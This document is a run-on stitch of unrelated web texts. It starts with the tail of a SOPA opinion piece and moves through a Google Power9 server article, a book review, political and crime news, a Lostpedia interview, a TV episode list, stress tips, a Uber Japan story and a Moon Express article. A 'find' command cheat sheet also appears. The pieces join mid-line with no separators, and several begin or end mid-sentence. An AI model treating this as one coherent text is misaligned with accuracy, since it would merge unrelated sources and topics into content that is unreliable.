recording industry's lapdogs in Congress -- making suggestions that would make those industries happy, but which almost certainly violate the law. And, even worse, they clearly go against the will of the American public, who vocally rejected such measures when they were put into SOPA and PIPA.Could it be that Reps. Goodlatte and Schiff, and Senators Whitehouse and Hatch, have already forgotten what happened when they pushed for such a law? I can assure them that the American public hasn't forgotten.
Filed Under: ad networks, ad providers, adam schiff, bob goodlatte, copyright, orrin hatch, sheldon whitehouse, sopaThe OpenPower effort to create an alternative to the Xeon architecture in the datacenter just got a whole lot more real now that hyperscaler Google and cloud builder Rackspace Hosting have agreed to partner on a future server design based on IBM’s future Power9 processor that both companies intend to deploy in their datacenters.
Google, as one of the five founding members of the OpenPower Foundation in the summer of 2013, is always secretive about its server, storage, and switching platforms, absent the occasional glimpse that only whets the appetite for more disclosures. But at last year’s OpenPower Summit, Gordon McKean, senior director of server and storage systems design and the first chairman of the foundation, gave The Next Platform a glimpse into its thinking about Power-based systems, saying that the company was concerned about the difficulty of squeezing more performance out of systems, and his boss, Urs Hölzle, senior vice president of the technical infrastructure team, confirmed to us in a meeting at the Googleplex that Google would absolutely switch to a Power architecture for its systems, even for a single generation, if it could get a 20 percent price/performance advantage.
This morning, after a presentation at the OpenPower Summit, which is being co-hosted at the Nvidia GPU Technology Conference in San Jose, Maire Mahoney, engineering manager at Google and now a director of the OpenPower Foundation, confirmed to The Next Platform that Google does indeed have custom Power8 machines running in its datacenters and that developers can deploy key Google applications onto these platforms if they see fit. Mahoney was not at liberty to say how many Power-based machines are running in Google’s datacenters or what particular workloads were running in production (if any). What she did say is that Google “was all in” with its Power server development and echoed the comments of Hölzle that if the Power machines “give us the TCO then we will do it.”
To that end, Google announced a partnership with Rackspace Hosting to develop a server platform code-named “Zaius,” that will employ the future Power9 processor that IBM is expected to deliver sometime in the second half of next year. (We covered IBM’s update of the Power processor roadmap separately here.)
The Zaius machine will have two future Power9 server chips, which will have 24 cores and which will have both NVLink interconnects and PCI-Express 4.0 peripheral controllers, which will support IBM’s Coherent Accelerator Processor Interface (CAPI) overlay to hook accelerators and other devices directly in the Power processor complex and allowing them to share memory. The NVLink and CAPI interfaces in the Power9 processor will be the second generation of those technologies, presumably with lower latency and higher bandwidth. As you can see from the Google specs that Mahoney unveiled, the server will have 32 DDR4 memory slots, and with 64 GB memory sticks, that will yield a machine that will deliver 2 TB of main memory across those 48 cores. Interestingly, IBM, at the behest of the hyperscalers participating in the OpenPower effort, is dropping its “Centaur” memory buffer from the memory hierarchy with the Power9 chip aimed at scale-out architectures. This Power9 chip, known as the Power9 SO, short for “scale out,” is the one that Google and Rackspace want to put into future servers and is distinct from the Power9 SU, short for “scale up,” that IBM and perhaps others will use to create NUMA machines with more than two sockets. Google, as far as we know, is not interested in building big NUMA machines from Power9, but there is nothing that prevents it from doing so.
Google, as we have explained, will do anything to beat Moore’s Law, which it needs to do to continue to scale up and scale out its infrastructure, and that the appetite for more capacity for Google services such as Gmail, YouTube, and search were still unabated at the search engine giant, according to Mahoney.
“The demand for compute is growing and is relentless,” Mahoney explained in her keynote address at the OpenPower Summit. “We see that the energy efficiency gains that we used to get from making transistors smaller is declining, and an effect of that is that CPU top speed is leveling off and plateauing. We also recognize that the cost of making transistors smaller is increasing, and all of this overhead makes it more challenging for us to deliver on that equation of performance per TCO dollar. So we know that we need to have a different approach, and that is why Google is backing the vision that underpins the OpenPower Foundation.”
The Power8 chips got Google’s attention because of the massive memory and I/O bandwidth they have compared to Xeon processors, and it looks like Google and the other hyperscalers have been able to get IBM to forge the Power9 chip in their image, with more cores and even more I/O and memory bandwidth. “The vision is to build scale out server systems taking advantage of the amazing I/O subsystem that the OpenPower architecture delivers,” Mahoney added.
Aaron Sullivan, senior director and distinguished engineer at Rackspace who has been driving the company’s Open Compute server effort, and specifically its first generation “Barreleye” Power8 system, revealed some more of the feeds and speeds on the future Zaius Power9 system in his presentation and he added that Barreleye is being commercialized by a number of different vendors including Penguin Computing and Stack Velocity, was rolling into Rackspace’s own datacenters now, and would shortly be running various services on its cloudy infrastructure.
The Zaius motherboard that Google and Rackspace are co-designing looks like this:
The board is a little skinnier than the Barreleye motherboard, which means it will be able to fit in standard 19-inch racks instead of the 21-inch Open Rack designed by Facebook for its own datacenters and, while technically correct, has been by and large not adopted by the industry. There is a reason why Google and Facebook have just teamed up at the Open Compute Summit a month ago to create a new 48-volt open rack design that will come in the more standard 19-inch size. Google and Rackspace have committed to make the specs of the Zaius system available through the Open Compute effort, and it would not be surprising to see Google get more involved with other Open Compute projects over time.
We happen to think that Rackspace would have done something like Zaius on its own, but the fact that Google is helping with the design and presumably will deploy it in some reasonable volumes means that the ecosystem of manufacturing partners for the Zaius machines should be larger than for Barreleye. And with IBM shipping on the order of several tens of thousands of Power systems a year at this point, if Google and Rackspace dedicate even a small portion of their fleets to Power, it would be a big bump up in shipments.
There are a few other things that Sullivan divulged about Zaius. First, it has two NVLink ports exposed in the system. (The Power8 chips support six ports as far as we know, but the Power9 may or may not.) The Zaius system will have three PCI-Express 4.0 x16 slots, which is plenty for peripheral expansion, plus two PCI-Express 4.0 x8 slots and one Open Compute-compliant x16 slot. The Zaius board also has one M.2 flash memory stick port for local OS image storage, and interestingly a single – yes a single – SATA port for other storage peripherals.
Here is the conceptual layout of the Zaius sever as conceived by Sullivan:
The machine shown above is a follow-on design to the Barreleye machine that will fit into the 21-inch Open Rack, and it has a drawer with fifteen 2.5-inch SAS or SATA NVM-Express flash devices, which will hook into the server over PCI-Express ports. This is what Sullivan called the diskless option.
Google Code Stack Enabled On Power8
Mahoney said that a number of Google applications have been enabled on the Power servers that Google has designed and had built by its ODM partners. (It did not identify who that was.) And then Mahoney said this, which will certainly strike some fear into the heart of Intel, which has worked hard to keep hyperscalers like Google happy with its Xeon designs:
“We have ported our infrastructure onto the Power architecture. And most importantly, what that means is that our toolchain supports Power and so for our Google developers, enabling Power for their software applications is simply a matter of modifying a config file and off they go.”
This is not the first time that Google has ported its software stack to alternative platforms, of course, and McKean was very clear with us last year that Google is always testing out its software on alternative architectures to prevent “bit rot” and keep its options open. But what seems very clear now is that for certain workloads at least, Google is now in position to actually start rolling out its applications on Power. The fun bit about this is that we, as Google users, will never know if it does.It's funny how things work in this world. I became acquainted with author Jonathon Fletcher on Twitter when I saw a post of his referring to a space ship modeled on a submarine. As a former submarine sailor, my interest was immediately piqued and we exchanged tweets. Our conversation led me to provide some submarine knowledge to Jonathon (for authenticity in his books), but did not tell him I was going to read his book and write a review.
I generally am not a huge fan of hard-core sci-fi. I tend to like fantasy a bit better, but I have read some of John Ringo and Travis Taylor's books and I found Josiah Trenchard Part One The Might of Fortitude to be similarly entertaining. The story begins with the hero, Josiah Trenchard, in a battle against insurgents. He is almost killed by a black clad assassin who slashes his throat and leaves him bleeding and with a whispered message. He survives to become the executive officer of the newest class of space ships that are based on submarines of old. This book deals with the actions of Josiah and The Might of Fortitude's battle against space pirates. As always, I will not spoil the book by giving away details, but there is plenty of action, enough blood and gore to satisfy those who crave that, and a hint of mystery with the would-be assassin.
As I mentioned above, I am a former submarine sailor, so the rude and vulgar language was a trip back in time aboard the boat. Sailors do tend to curse a lot, so that part was authentic. Jonathon Fletcher also got most of the terminology correct, and I really liked the way he incorporated dolphins (submarine qualification pins) into the Space Navy.
The story was short, which made for a quick and easy read, but it did leave me wanting more. The book is filled with good characters, good dialogue, and lots of action. I will certainly be checking out the next installment of the series and I hope you will give Josiah Trenchard Part One The Might of Fortitude a chance!
My rating: 4 starsWASHINGTON — Did Senator John McCain not vote for George W. Bush in 2000?
That question has kicked up a minor ruckus in political circles this week as Arianna Huffington and the McCain campaign have traded he-said, she-said barbs.
On her Huffington Post Web site on Monday, Ms. Huffington, the liberal blogger, said she had heard Mr. McCain say at a Los Angeles dinner party shortly after the 2000 election that he had not voted for the president he has now publicly embraced in his own quest for the White House. The McCain campaign swiftly quashed the account and said Ms. Huffington had a book to promote and would make anything up.
“She’s a flake and a poser and an attention-seeking diva,” Mark Salter, one of Mr. McCain’s closest aides, told The Washington Post.
Now two other guests at the same dinner, given by the actress Candice Bergen, at her home in Beverly Hills, say they heard much the same thing as Ms. Huffington. Both of them, the former “West Wing” actors Bradley Whitford and Richard Schiff, were asked by Ms. Huffington to speak to The New York Times. Mr. Whitford said he would be supporting the Democratic nominee and had donated to Senators Hillary Rodham Clinton and Barack Obama; Mr. Schiff is supporting Mr. Obama.
Photo
Mr. Whitford, who played Josh Lyman, the deputy White House chief of staff on the NBC series, said in a telephone interview on Thursday that he was sitting across from Mr. McCain and next to Ms. Huffington at the small dinner and that he was startled to hear the senator sharply criticize Mr. Bush. The senator has long blamed the Bush campaign for smear tactics against his family in the 2000 South Carolina primary, but by the end of the campaign Mr. McCain was publicly supporting his rival.
Advertisement Continue reading the main story
“McCain was just sort of going off on how much he disliked Bush and the horrible things that the Bush campaign had done to his family in South Carolina, and his exasperation with Bush about his ridiculous tax cuts and he really wanted to talk to him about it, but he said the guy doesn’t have the concentration, and you talk for 10 minutes and then the guy wants to talk about baseball,” Mr. Whitford said.Maps : The theatre of the empire of Great Britaine: presenting an exact geography of the kingdomes of England, Scotland, Ireland,...
Maps
<p style='text-align: justify;'>One of five known sets of proof maps prepared for John Speed's 'The Theatre of the Empire of Great Britaine', which was published in 1611/12.</p> <p style='text-align: justify;'>The maps were printed from copper plates which had been engraved, in reverse, by Jodocus Hondius in his workshop in Amsterdam. Maps printed from the plates - proofs - would have been sent back to England for checking.</p> <p style='text-align: justify;'>The maps in this set of proofs are in a late state of preparation, but many were altered before being published. The map of Cheshire, which had been produced as early as 1603 by English engraver William Rogers, was completely replaced following the death of Rogers in 1604.</p>The find command in examples Posted on Feb 25, 2015 by Corinna in Development, DevOps & SysAdmins |
Corinna – a Mac user – likes working on the terminal but she never managed to find anything with it. She used to switch to OS X’s Finder for searching. Not anymore! She finally sat down to figure out find and has assembled her favorite examples in this cheat sheet like 1-pager:
Sources:
Content of the 1-pager:
look for “needle.txt” within the current directory & its subdirectories
find. -name “needle.txt”
ignore case, find “Needle” & “needle”
find. -iname “needle”
name contains “needle”; list only matching files
find. -type f -name “*needle*”
search everywhere; list only matching directories
find / -type d -name “needle”
additionally ignore all errors, such as “Permission denied”
find / 2>/dev/null -type d -name “needle”
check all.txt files whether they contain “needle”
find. -type f -iname “.txt” -print | xargs grep “needle”
same as above, but now it also works with filenames that contain spaces
find. -type f -iname “*.txt*” -print0 | xargs -0 grep “needle”
find all empty files in /tmp
find /tmp -type f -empty
remove all these empty files
find /tmp -type f -empty -print | xargs rm -f
files bigger than 50MB but smaller than 100MB
find / -type f -size +50M -size -100M
created during the last 50 days
find / -ctime -50
modified more than 90 minutes ago
find / -mmin +90
accessed during the last 24 hours but
not within the last hour
find / -atime -1 -amin +60
find all executable files
find / -perm /a=x
find files that don’t have 644 permissions
find / -type f! -perm 644
find files with 777 permissions a nd change them to 755
find / -type f -perm 0777 -print -exec chmod 755 {} \;
find all PDFs owned by user “seamstress” (-group exists, too)
find / -user seamstress -iname “*.pdf”When the tech sector’s leading lights, lead by Facebook’s Mark Zuckerberg, committed to the immigration reform bill and formed a lobbying coalition called FWD.us to support it, I wondered whether they could sway conservatives. I wonder no more.
The ad below, in support of South Carolina Republican senator Lindsey Graham, comes from an organization called Americans for A Conservative Direction, the Republican subsidiary of FWD.us. You’ll notice it says a lot about healthcare and oil pipelines, but nothing about immigration.
The group has a Democratic subsidiary too, called Council for American Job Growth, which produced an ad, supporting Alaska Senator Mark Begich. It, too, says nothing about immigration.
This is fairly standard single-issue politicking. As these legislators consider voting for an immigration bill that their constituents might see as too soft on illegal immigrants, the ads are designed to provide political cover and bolster their approval ratings by extolling their record on other matters.
So if it seems incongruous to see Zuckerberg, who called for a transition away from an oil-dependent economy in an article announcing FWD.us, using his political funding to support more drilling, it’s because he’s decided that getting the foreign highly-skilled workers the tech sector says it needs is a higher priority than fighting the fossil-fuel lobby. Bill Gates, another advocate for renewable energy, is also a supporter of FWD.us.An assailant stabbed a senior editor at Russia's Echo of Moscow radio Monday in a brazen break-in and attack at one of Russia's most prominent and politically outspoken talk stations. The assault was the latest in a series of attacks, some with political motives, on prominent journalists in Russia.
Tatiana Felgengauer, the deputy editor in chief, was hospitalized with wounds to her neck and arms. As of Monday evening, Felgengauer was in an induced coma following an operation to repair a deep wound to her neck, Alexei Venediktov, the radio station's editor in chief, said in an interview.
"This is not acceptable. It's spreading like a plague," Venediktov said, referring to attacks on journalists. "Journalists are absolutely without protection in our country."
The attack shocked Russia's political establishment. The Moscow mayor personally intervened to get Felgengauer quickly to an elite hospital, Venediktov said, possibly saving her life. Alexei Gromov, deputy chief of staff to Russian President Vladimir Putin, also called to pledge his support.
The attacker was identified as Boris Grits, a graduate of a Moscow university who Russian police said held a foreign passport and had lived in Israel. In leaked footage of a police interrogation broadcast by a Moscow television station, Grits said that Felgengauer had "used telepathy" to sexually harass him. The two did not know each other personally.
Journalists, political bloggers and activists have raised alarms about security fears for years. Several weeks ago, Felgengauer and another Echo of Moscow journalist were targeted in an exposé on Russian state television for meeting with a leading Russian opposition figure, while the station was accused of taking Western money.
Investigators and journalists in the Echo of Moscow radio station office after reporter Tatyana Felgengauer was stabbed in the neck by an intruder on Oct. 23. (Chiriko/Epa-Efe/Rex/Shutterstock/Chiriko/Epa-Efe/Rex/Shutterstock)
"It's the same way this channel began to persecute Boris Nemtsov," the former Russian opposition leader gunned down in 2015, Venediktov said. "They raised the level of hate."
According to security footage, Grits sprayed a gas in the eyes of security guards in the lobby before taking the elevator up to the radio station's 14th-floor offices. Once there, he found Felgengauer and attacked her with a sharp object before security guards intervened and handcuffed the man.
A photograph of the assailant released on social media showed a middle-aged man in dark clothing sitting handcuffed in an office chair. Nearby, blood is spattered across the office's lacquered wooden floor.
Echo of Moscow journalists have complained about violent threats against them in the past. Venediktov regularly travels with a bodyguard.
Yulia Latynina, a veteran political analyst for the radio station who reports on the Kremlin and Russian security services, fled Russia last month after unknown assailants set fire to her car.
"You remember that I have had to evacuate some of my employees," Venediktov said, referring to Latynina and several others who have been threatened or had to leave the country because of their reporting.
The Committee to Protect Journalists lists more than 50 Russian journalists killed since 1993.
Read more:
Reports about torture of gays in Chechnya produce no investigation, just threats against journalists
Today’s coverage from Post correspondents around the world
Like Washington Post World on Facebook and stay updated on foreign newsDamon Lindelof and Carlton Cuse agreed to answer some questions sent in by Lostpedia users, on themselves, their careers and circus around the show. The only caveat was that they would not answer questions about the show itself. No mystery resolution, nothing like that.
Damon and Carlton have said several times that they want the show to speak for itself, and we understand why they want to do that. After six years on the air, the body of work and the legacy they leave really does speak for itself. We understand that, and we want to honor that.
Thanks to Damon and Carlton
Lostpedia: What's your advice for people who want to break into television writing and/or would someday like to be a television show runner like the two of you?
Read, read, read! So much of LOST is based on our shared love for the great stories of our childhood (Narnia for Carlton, Oz for Damon) and young adulthood (Stephen King!)... getting the opportunity to create your own show and run it is a combination of perseverance, luck and knowing the right person... but once you've managed those things, you need to draw on STORY. So hit the books, dammit!
Lostpedia: Hey Damon and Carlton, Firstly; congratulations on finally coming to the end of your journey on Lost. My question is; if you both had the chance to go back to a specific point in your career (in either Lost or anything else you've working on) what would you do differently? Thanks, I look forward to seeing even more amazing work from you both and good luck for the future.
Damon and Carlton: We can't go back. Because what happened, happened! But seriously... every little thing in our life lead us here -- to this partnership and this incredible show. Why risk changing a single moment if it could result in LOST never happening? We take all the downs on the roller coaster ride because they're a part of the journey. Mistakes, yes... but no regrets!
Lostpedia: I love your podcasts, and the slapdowns this season have been very amusing. I know the LOST podcast will be ending but is there any possibility that you two will do some sort of podcast together unrelated to LOST after the show is said is done for us Darlton fans? -Namaste!
Darlton: We are not so delusional as to believe that outside of discussing LOST many people would want to hear us rambling on about other subjects. We loved doing them, but have no plans to do any more.
Lostpedia: Damon, will you be writing any more comics soon? Do you find it easier or harder than writing for the screen?
Damon: Much, much harder and time consuming. And I have to do them alone -- which is not nearly as fun as the collaborative awesomeness of working with my friends and colleagues. So no plans currently do comics.
Lostpedia: Carlton, I read that you worked with Robert Coles at Harvard. When I was a child, I was interviewed for Coles' research regarding the way that children perceive God. Did your work with Coles influence your contributions to the Lost Story? And which one of you is the C.S. Lewis fan?
Carlton: Coles had a huge influence on me. He was my mentor in college. One of the courses he taught was called Moral and Social Inquiry and in it we read many great writers, including James Agee, Flannery O'Connor, and Walker Percy. The course and much of Coles teaching was centered on the question: how does one lead a life? What matters as we make our way on our journey? Those questions and that inquiry has stuck with me. Coles also helped cement my desire to be a writer and taught me one of the first and the most valuable lessons about writing, which was -- WRITE. Do it daily; do it on a schedule. I later learned that almost all the writers I admired do this.
Lostpedia: One thing strikes me about Lost and its fan culture. Fans seem to carry as much if not more reverence for the creators/producers/writers as they do the actors. I think this one of many unique aspects of this show. Are the two of you as likely as, say, Matthew Fox to be recognized while going out to dinner? Or, is the attention |
When tragedy befalls a private European school, the cross-borders unit uncovers evidence of a much more complicated truth. 27 5 "Recoil" Sue Tully James Moran October 16, 2015 ( ) All is not as it appears when the unit travels to Italy to investigate the assassination of a well-connected anti-Mafia court official. 28 6 "Executioner" Niall MacCormick Nicholas Meyer October 23, 2015 ( ) When a known murderer restarts his killing spree, a twist of events leads the team to investigate a group espousing social justice. 29 7 "Lost and Found" Ashley Pearce Corinne Marrinan October 30, 2015 ( ) A known criminal is attacked but dies from a contagious disease rather than his wounds leading the team to track down everyone in contact with him. 30 8 "Heat" Kerric MacDonald Bem Harris November 6, 2015 ( ) Carine clashes with Dorn's former colleague when he's brought in on a new case: a cargo of highly radioactive material stolen from a nuclear plant. 31 9 "Expose" Kerric MacDonald Frank Spotnitz & Jimmy Dowdall November 13, 2015 ( ) A journalist known for lifestyle puff pieces is on the verge of breaking an important investigative story to Dorn's unit, but ends up a murder victim. 32 10 "Enemy of the People" Sue Tully Jason Sutton & Bem Harris November 20, 2015 ( ) An investigation into the deaths of officials working on a hydroelectric project raises suspicion about a conspiracy and exposes a contractor. 33 11 "Penalty" Michael Wenning Timothy Prager November 27, 2015 ( ) What starts as an alleged race-based hate crime directed at soccer players leads to suspicion about eh obvious evidence, suspects and motives. 34 12 "Obscura" Ashley Pearce Wendy Battles December 4, 2015 ( ) A retired Russian assassin seeks vengeance against leaders of a fanatic right-wing political party and the ICC team must protect her next victim.
Broadcast [ edit ]
Crossing Lines airs in Germany on Sat.1 on Thursdays at 9:15 pm,[3] in the United States on NBC on Sundays at 10:00 pm (currently in off-season), in Canada on CBC on Tuesdays at 9:00 pm,[31] in India on AXN every weekday at 9:00 pm(June 2016), and in France on TF1 on Thursdays at 9:00 pm.[citation needed]
In the United Kingdom, the series was released on the LoveFilm platform on October 25, 2013.[32] The second season was released on Amazon Video on August 15, 2014.[33] It is now being shown on Alibi (2015). All 3 seasons are being shown on Netflix. (May 2018)Feeling stressed, anxious, overwhelmed or fatigued? Having trouble making decisions, falling and staying asleep and solving problems? A bit low on energy, just all-around baked? Life does that to us sometimes. The good news is…there’s a short list of simple practices that, done regularly, can pretty quickly un-bake your brain…and your body!
How stress bakes your brain and breaks your body.
Stress is good. Huh?! That’s right, I said it. Stress is GOOD…when there’s a reason for it. Stress is good when you need to be on high-alert, when you need a shot of energy, adrenaline and clarity to get you through a brief period of intensity. It created changes in your physiology that allow you seemingly superhuman abilities.
But, when that stress becomes chronic, the exact opposite happens. The changes in your body’s chemical (endocrine) and electrical (nervous) systems caused by stress can be hugely destructive when endured over an extended period of time.
On a fundamental level, it can degrade body tissue, lead to weight gain, increase your risk of heart-disease, diabetes, stroke and various forms of cancer. On a mindset and emotional level, it can increase anxiety and depression, decrease cognitive function, creativity and problem solving ability and destroy your sleep, which then cycles back around to further deteriorate your body and brain. The good news is…
You can un-bake your brain.
While we’d all like to rid ourselves of the daily brain-burn, most of us are not willing to extract ourselves from the professional and lifestyle circumstances that are creating that stress (though, I have to tell you, trading in my Ferragamo’s for barefeet has been pretty friggin sweet for me).
So, for those who choose to endure, rather than extract, here are 10 powerful practices that will help get you back to a calm, focused, relaxed and rejuvenated state of mind and allow you to take back body and health:
1. Mindfulness-based stress reduction™
Developed by acclaimed psyhcologist Jon Kabat-Zinn, more than 20,000 people, from all walks of life have now completed this 8-week mindfulness-based stress reduction training with remarkable results. And, the good news is, now you don’t have to live in Massachussetts to do it. There are many trained affiliates or you can do it at home with Kabat-Zinn’s book and audio CDs (or mp3s) with only 45-minutes a day.
2. Get lost in great music.
This is pretty intuitive, but there is actually significant research that reveals listening to the right music can actually be a powerful de-stressor and help get you back into a better state of mind relatively quickly. And, if you think listening to music drops you into the chill-zone, try learning or playing music. A fascinating study on the impact of playing music on stress reveals that keeping a guitar handy in the corner of your office and cranking out Stevie Ray Vaughn’s Little Wing on your lunch break will help you feel oh so much better!
3. Get Active for 30-minutes a day
Yes, you heard right. “But, how am I going exercise when I already don’t he enough time in the day?” Simple, exercise is the master key to pretty much everything. It’s why I covered it first in this months’ lifestyle evolution series.
A NASA study revealed that people who exercise work at near-100% efficiency during the last two hours of the day, while those who do not work-out become 50%-less productive in the final two-hours. Now, extend that to what’s become a 10, 12 or 14 hour workday and you being to see exercise create a huge savings in time and productivity. It not only creates the time to exercise, but allows you get even more done, too.
Plus, exercise is hugely effective at alleviating stress and, done about 3 to 6 hours before sleep, can allow you to sleep better, too.
4. Take a breath break
The way you breath directly reflects your levels of stress. When we’re in high-alert, stressed states we tend to take faster, shallower breaths. In fact, this can become so exaggerated, it can lead to hyperventilation and even leave us unconscious. When we’re calm and relaxed, though, our breathing tends to be slower, deeper and less labored.
The interesting thing is, we can actually reverse-engineer this response to obliterate momentary-stress. What does that mean? If we consciously alter our breaths to make them deeper and longer, within a few minutes, this practice will actually force your body out of the high-alert, fight-or-flight stress response and make you much calmer. In fact, this works so well, it has become the staple of many corporate stress-management programs.
5. Biofeedback
What the heck is biofeedback? It’s using your tapping into your bodies own signals and manipulating them to create a very specific change in state. Usually, this involves heart-rate, blood pressure, breath-rate, sometimes even galvanic skin-response. There are many approaches, but, generally, you use a simple machine that reads your physiological markers and then you are instructed to either alter your breathing pattern or visualize something specific in order to bring those makers back into the chill-zone. Biofeedback is great for people who like tangible scientific and fairly quick results. Some resources include:
StressEraser – This is a very cool, iPod-size, high-tech biofeedback device that trains you to alter your breath to calm down. I’ve been working with a review-copy of one of these devices for about a week now and will have a full-review of it in a few weeks. But, so far, I’m impressed.
– This is a very cool, iPod-size, high-tech biofeedback device that trains you to alter your breath to calm down. I’ve been working with a review-copy of one of these devices for about a week now and will have a full-review of it in a few weeks. But, so far, I’m impressed. BioMedical.com – online clearinghouse for biofeedback software and devices, information and audio/video
6. Psychoacoustics
What the? No, it’s not some wacky drug from the 60s, psychoacoustics is the use of certain audio and visual technologies that allow people who have a lot of trouble with meditation or mindfulness to drop into that same zone, without having to focus so hard on getting there. A number of researchers have build goal-specific audio programs and tools around this technology in an effort to allow more people to use these tools. Resources include:
7. Game-out.
Okay, so this isn’t blanket permission to while away hours in front of your TV or computer or hang out with the local skate-rats at the arcade. But…games that, by the very nature of the elements of the game, require intense concentration, also tend to serve a powerful de-stressing function. In fact, they may induce a similar relaxation-response to meditation.
My advice, though, is to see if you can combine your game-playing with your exercise and get the combined benefits of exercise and concentration-training in a single time-efficient slot. Plus, it’ll lead to less, rather than more, couch/sitting-time, which is always a big benefit in a nation of declining health and expanding waistlines.
8. Re-pattern your sleep.
I’ve already spent a lot of time on this in my recent article, Are your sleep habits making you fat, nasty and dumb. There I listed 5 ways to immediately improve your sleep. Sleep is hugely important in mindset and stress reduction. Lack of sleep leads to fatigue and brain-fog which leads to unwillingness to exercise and inefficiency which, in turn leads to longer work-hours and poorer sleep. It’s a vicious cycle, so any mindset-tuning program must also take a serious look at your current sleep habits.
9. Midday power-nap.
A short power-nap, no more than about 30-40 minutes can be incredibly refreshing. The trick is not to go too long, because if you drop too far into the deeper stages of sleep, waking can be jarring and leave you not refreshed, but actually significantly grumpier.
In fact, midday power-napping is gaining some serious traction as a power-performance and mindset rejuvenating tool, leading companies to begin to open power-napping pod centers in major cities. New York has a number of them and it’s getting increasingly more difficult to get an “appointment.”
10. Write things down.
In my recent article on non-finishing, I talked about something called the Zeigarnick Effect, a phenomenon where you remember the details of a task until it is completed and then promptly forget it all. It’s like completing the task wipes your mental slate clean. Similarly, when you write down the unfinished tasks that are swirling around your mind and detail not only their current status, but critical task need for completion, you create a significant amount of mental “space.” This space go a long way toward returning you to a calmer place.
While this list is not all-encompassing, it goes along way toward providing a set of easily-implementable practices, tips and tools to help un-bake your brain, de-stress your life, improve your sleep, relationships and work performance and help return health and fitness to your days.
A few other great life-balancing resources to explore include:
And, for those following along in my lifestyle evolution series, setting up a power-plan for 2008, we’ll integrate many of these into our bigger picture plan.
Please share any other techniques, practices or tools that have helped you in the comments below.Uber Technologies Inc., whose taxi-hailing app faces regulatory challenges globally, shut down a ride- sharing trial in southwestern Japan after the government called it illegal.
Uber yesterday halted operation of Everyone’s Uber, a program that let users in Fukuoka city share rides, Evelyn Tay, a Singapore-based spokeswoman for the company, said in an e- mailed statement today. Uber will consult the Transport Ministry on ways to structure the program to meet official requirements, she said.
The move is a fresh blow to San Francisco-based Uber, whose ride-sharing functions are under scrutiny in cities from Paris to Seoul. Until now, the company avoided regulatory obstacles in Japan by working with taxi and hire-car operators in Tokyo. The Fukuoka program marked its first expansion outside Japan’s capital, where local taxi firms are pressuring Uber with their own apps.
Customers of the pilot program received free rides, while Uber paid drivers a fee for participating as it collected traffic and usage data. The service was illegal because it let drivers without taxi licenses profit by providing transport, ministry official Hidetaka Sakai said this week.
Uber has said it will revise the compensation model and continue to negotiate with authorities.
The purpose of the program, started jointly on Feb. 5 with the Kyushu Technology Licensing Organization, was to collect data to understand local transportation needs, Masami Takahashi, chief executive officer of Uber’s Japan unit, said in an interview last month.
Uber was able to “collect meaningful data for analysis that will shed light on transportation patterns in various areas (including underserved) of the city,” the company said today in a statement. “In the next phase, we will focus on better understanding specific transportation needs from the data collected.”
Uber’s presence in Tokyo is still small, partly due to increasing competition from apps introduced by local taxi operators and the city’s availability of 50,000 taxis — almost four times the number in New York.
This article was written by Ma Jie from Bloomberg and was legally licensed through the NewsCred publisher network.Spaceflight venture Moon Express wants to be the first private company ever to land on the Moon in 2017 — and now the company has been granted approval by the United States government to launch to the lunar surface. It's the first time the government has granted regulatory approval for a private mission beyond Earth orbit. And Moon Express came very close to being denied permission to go.
No regulatory framework currently exists for a commercial space missions to another world. Lawmakers are working on a permanent solution, but it likely won't be ready in time for Moon Express' 2017 mission. So the company came up with its own temporary framework — a regulatory patch — that the US government could use to oversee the company's mission. And after a meeting between the Federal Aviation Administration, the White House, and the State Department, Moon Express has been given the approval it needs to launch to the Moon.
It's the first time the government has granted regulatory approval for a private mission beyond Earth orbit
So far, commercial companies have mostly just launched satellites into space; all specialized private missions, like launching cargo to the space station, have been overseen by NASA. That means Moon Express could be the first private company to land on the Moon, as well as the company that travels the farthest away from our planet.
Moon Express' regulatory patch is only a temporary fix, though. Legislators are working on a long-term framework that will help the US government oversee private, deep-space missions. And it needs to happen soon, as space companies are getting more ambitious than ever. SpaceX announced its plans to send spacecraft to Mars in 2018, and Bigelow Aerospace wants to launch space hotels by 2020. Moon Express' lander is just the first of many deep-space private missions to come.
Moon Express
Moon Express needs to get to the Moon by 2017. That’s the deadline for the Google Lunar X Prize — an international competition to send the first privately funded vehicle to the Moon's surface. Moon Express joined the contest in 2012, and has since pushed ahead of the other 16 contenders. It is one of just two teams to have secured a launch contract. The company has purchased a ride for its lander on the Electron rocket, a vehicle currently being built by startup Rocket Lab.
The Electron rocket that the MX-1 lander will eventually fly on. (Rocket Lab)
Moon Express has goals beyond winning the X Prize competition: the company wants to mine the Moon for rare elements and metals. "Even though we are a proud contender [in the X Prize competition], it’s neither a cornerstone of creating the business nor do we need to win it," Bob Richards, CEO of Moon Express, told The Verge. "But we want to win it." If successful, the 2017 trip will prove that the company can get hardware to the lunar surface in one piece. Afterward, Moon Express will continue to mount more missions to the Moon, and by 2020, Richards hopes the company will be able to bring back lunar material.
The company wants to mine the Moon for rare elements and metals
For a while, though, it was unclear whether Moon Express would legally be able to keep any material it got from the Moon. US law didn’t guarantee the company rights to materials it retrieved from space. But in November, President Obama signed into law the Commercial Space Launch Competitiveness Act — a bill that restricts the FAA from issuing standards for commercial spacecraft for the next seven years. The bill also guaranteed that private companies had the rights to any resources they collected in space. That means Moon Express and asteroid mining initiatives like Planetary Resources will be able to own any materials that they take from outer space bodies.
After the government said companies could essentially mine objects in space, the FAA realized it needed a way to oversee these private mining missions, as well as other ambitious space projects. Mainly, the US has to ensure these missions comply with the Outer Space Treaty — an international agreement between 104 countries that governs how nations conduct missions in space. "If the United States wants to be perceived as being compliant with the Outer Space Treaty, somebody has to authorize and oversee those operations," said George Nield, FAA associate administrator for commercial space transportation, in a recent speech reported by Space News. The White House and lawmakers have since been working on a regulatory framework that would allow the US government to make sure non-traditional space missions adhere to the treaty. But that framework likely won't be ready for a few years.
The signing of the Outer Space Treaty. (UN)
"The great news was there is a regulatory process in the works," said Moon Express' Richards. "The bad news is we had zero confidence that the regulatory framework would be ready in time for our mission in 2017. Ironically you had a great'space resources' act that says you can own what you get, but we’re in a situation where you can’t launch to go get it."
The Patch
The problem for Moon Express revolved around getting approval for its payload. Whenever a private company wants to conduct a space mission, it must apply for a license to launch its spacecraft from the FAA. Part of that application process, called the payload review, involves telling the FAA what's going into space and where it's going. The FAA has no power over what companies do when they get to space; however, the FAA does consult with other agencies during the approval process. One of those agencies is the State Department, which made it clear to Moon Express that it would step in and ask the FAA to deny the request, Richards said. That’s because the department can’t reliably enforce the Outer Space Treaty when the Moon Express lander is on the lunar surface.
